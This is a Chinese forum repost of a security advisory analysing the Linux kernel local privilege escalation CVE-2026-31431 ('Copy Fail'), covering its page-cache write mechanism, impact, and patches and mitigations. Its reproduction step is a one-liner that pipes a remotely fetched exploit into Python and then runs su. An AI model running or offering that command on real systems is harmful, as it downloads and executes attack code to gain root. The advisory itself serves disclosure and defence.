本帖最后由 翼风Fly 于 2026-4-30 23:37 编辑
原文地址:
https://www.freebuf.com/articles/vuls/479408.html
一、漏洞概览
2026年4月29日,一个潜伏在Linux内核中长达9年的史诗级本地提权漏洞 CVE-2026-31431(代号“Copy Fail”)被公开披露。该漏洞CVSS v3.1评分达7.8(高危),影响范围覆盖自2017年以来几乎所有主流Linux发行版,包括Ubuntu、Debian、RHEL、SUSE及Amazon Linux。 该漏洞攻击方式极为简洁,影响范围广泛,任何本地无特权用户,仅需一个732字节的Python脚本即可瞬间获取系统的root最高权限,攻击成功率高达100%。漏洞概述 | | 漏洞编号 | CVE-2026-31431 CNVD-2026-19044 | | 漏洞类型 | 权限提升 | | 触发方式 | 本地 | | 危害等级 | 高危 | CVSS v3.1 | 7.8 | | 影响范围 | Linux内核 4.14 ~ 6.19.11 / 7.0-rc(2017年至今全部主流发行版) | | 利用后果 | 普通用户→Root / 容器逃逸宿主机 / 页缓存静默篡改 | | 利用特征 | 逻辑缺陷利用 / 无需内存破坏 / 无需竞态条件/ 本地低权限触发 | | 发现方 | Theori / Xint Code (AI辅助) | | 修复状态 | 官方已修复 (内核 6.18.22 / 6.19.12 / 7.0 系列),建议立即升级 |
二、漏洞复现- curl https://copy.fail/exp | python3 && su
复制代码

三、攻击原理深度解析:从用户空间到内核页缓存的精准打击
3.1 核心攻击机制Copy Fail的攻击核心是 “页缓存写入原语”(page-cache write primitive)。攻击者可以通过以下组合,实现向任意可读文件的页缓存中写入受控的4字节数据: 1.利用 splice()系统调用将文件数据零拷贝传入内核管道; 2.通过 AF_ALG套接字接口将数据送入内核加密子系统; 3.触发 authencesn解密路径——即使认证标签错误,破坏已经生效。 最关键的是:由于破坏发生在页缓存(内存中的文件缓存副本)中,而非磁盘上的持久化文件,系统不会将受破坏的页面标记为“脏页”以触发写回操作。因此,磁盘上的文件保持原样,所有基于校验和的文件完整性工具(如AIDE、Tripwire)均无法检测到异常。
3.2 三步攻击链路| 阶段 | 操作 | 技术要点 | | 第一阶段:页缓存污染 | 运行小型Python脚本,通过AF_ALG与splice触发内核Bug | 无需root权限,任何本地用户均可执行 | | 第二阶段:篡改setuid二进制 | 向目标二进制文件的页缓存写入特定4字节 | 篡改其程序逻辑,使其执行攻击者指定的代码 | | 第三阶段:触发提权 | 执行被污染的setuid程序(如su) | 内核从被污染的页缓存中读取并执行代码,获得root权限 | 攻击者一般选取系统上的setuid二进制文件(如 sudo或 su),通过页缓存写入篡改其在内存中的执行逻辑;当任何用户(或系统进程)调用该程序时,内核将直接从被污染的页缓存中读取并执行,攻击者由此获得root权限。
3.3 关键技术细节AEAD解密流程中的Bug触发点:1. splice() 将文件页传入 → TX SGL中tag条目仍引用文件页缓存页2. _aead_recvmsg() 将tag链接到RX SGL → 通过sg_chain引用,非复制3. req->src = req->dst → 页缓存页进入可写目标散列表4. authencesn解密 → 在tag区域写入4字节后,才校验认证标签5. 校验失败返回-EBADMSG → 但4字节破坏已写入页缓存也就是说,攻击者可以在认证标签本身就错误、解密注定失败的情况下,依然触发内核向目标页缓存写入4字节。这种“先破坏、后校验”的代码执行顺序,正是该逻辑缺陷致命性的根源。
四、PoC分析:为何732字节的10行Python脚本就能实现稳定提权Theori团队发布的概念验证(PoC)漏洞利用脚本仅732字节,约10行Python代码,可在Ubuntu、RHEL、Amazon Linux、SUSE等主流发行版上确定性获取root权限。 这一极致简洁性源于以下因素: 1.无需竞态条件:与Dirty Cow(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)不同,Copy Fail不依赖竞态条件,因此无需反复尝试,单次执行即可成功; 2.无需内核版本偏移量:漏洞从4.14内核起持续存在,利用逻辑不随内核版本变化而调整; 3.无需编译:纯Python标准库实现,无需编译任何C代码或内核模块; 4.确定性利用:攻击者可以精确控制向页缓存写入哪4个字节以及写入的具体偏移量。 在验证测试中,同一份未修改的exploit脚本在以下四个平台上均成功获取了root shell: [td]发行版 | 内核版本 | | Ubuntu 24.04 LTS | 6.17.0-1007-aws | | Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | | RHEL 14.3 | 6.12.0-124.45.1.el10_1 | | SUSE 16 | 6.12.0-160000.9-default |
五、影响分析:远超桌面系统的威胁面5.1 核心高危场景1.多租户Linux系统:共享硬件的多个用户环境中,任何本地账户均可横向提权; 2.共享内核容器环境:容器隔离依赖Linux命名空间和控制组,但内核是共享的——Copy Fail直接从内核层面击穿此隔离; 3.CI/CD构建管道:执行不可信代码的CI runner成为攻击跳板; 4.容器逃逸:页缓存在宿主机上是共享的,被入侵的容器可以破坏宿主机上其他容器可见的setuid二进制文件,实现从容器到宿主机节点的逃逸。 5.2 隐蔽性:文件完整性工具的盲区该漏洞的误判风险在于:所有磁盘上的文件完整性检测均无法发现异常。因为破坏只发生在页缓存(内存)中,磁盘上的文件保持原样,不会触发任何 inotify文件系统事件。攻击者可以在系统管理员毫无察觉的情况下维持持久化的root访问。 六、修复与缓解1. 根治方案
将内核升级至已修复版本: 6.18系列≥ 6.18.22 6.19系列≥ 6.19.12 7.0系列≥ 7.0
修复原理:撤回2017年引入的in-place就地加密优化,恢复安全的out-of-place操作。 2. 临时缓解
若无法立即重启更新内核,禁用受影响模块: echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead注意:此方案在内核静态编译了 CONFIG_CRYPTO_USER_API_AEAD=y的企业发行版上无效,届时只能更新内核。
参考链接
|